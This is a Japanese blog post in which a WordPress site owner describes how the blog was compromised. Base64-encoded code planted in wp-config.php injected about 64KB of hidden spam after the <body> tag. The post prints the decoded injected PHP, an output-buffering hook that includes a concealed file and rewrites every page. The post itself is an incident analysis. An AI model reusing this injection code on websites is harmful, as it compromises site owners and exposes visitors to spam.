(この)blogがクラックされた。
具体的には、<body>タグの直後に64kくらいの(!)SPAM広告が埋め込まれる、というクラック。
kazuさんに指摘されて気づいたのだが、CSSを切らないと画面には表示されないようになっていた。
指摘された後もなにが起きているのかわからず、WordPressを最新ソースに差し替えたりしたのだが、直らず。
と、思っていたら、WordPress設定ファイルである、wp-config.php自体が汚染されていた。
かつ、埋め込まれたコードはbase64でエンコードされており、単純には見つからない仕組みになっていた。
ちなみにこんなコード。けらくんに解読してもらった。
if(function_exists('ob_start')&&!isset($GLOBALS['sh_no'])){ $GLOBALS['sh_no']=1; if(file_exists('/home/www/wordpress/wp-includes/js/ tinymce/themes/advanced/images/xp/js.php')){ include_once('/home/www/wordpress/wp-includes/js/ tinymce/themes/advanced/images/xp/js.php'); if(function_exists('gml')&&!function_exists('dgobh')){ if(!function_exists('gzdecode')){ function gzdecode($d){ $f=ord(substr($d,3,1)); $h=10; $e=0; if($f&4){ $e=unpack('v',substr($d,10,2)); $e=$e[1]; $h+=2+$e; } if($f&8){ $h=strpos($d,chr(0),$h)+1; } if($f&16){ $h=strpos($d,chr(0),$h)+1; } if($f&2){ $h+=2; } $u=gzinflate(substr($d,$h)); if($u===FALSE){ $u=$d; } return $u; } } function dgobh($b){ Header('Content-Encoding: none'); $c=gzdecode($b); if(preg_match('/\<body/si',$c)){ return preg_replace('/(\<body[^\>]*\>)/si','$1'.gml(),$c); } else{ return gml().$c; } } ob_start('dgobh'); } } }
もう一つ自己増殖するコードも埋め込まれていた模様。
実はこのblog(underconcept)ではなく、同じサーバで運営していた別のblogが原因でこちらのblogも汚染されていた。
これはこのblogを乗せているさくらインターネットがユーザーの権限でApacheを動かしていたため、パーミッション644のファイル(ほぼすべて)が、Apacheの権限で書き換えられてしまったことに起因しそう。
問題のありそうなテーマ等は現在解析中です。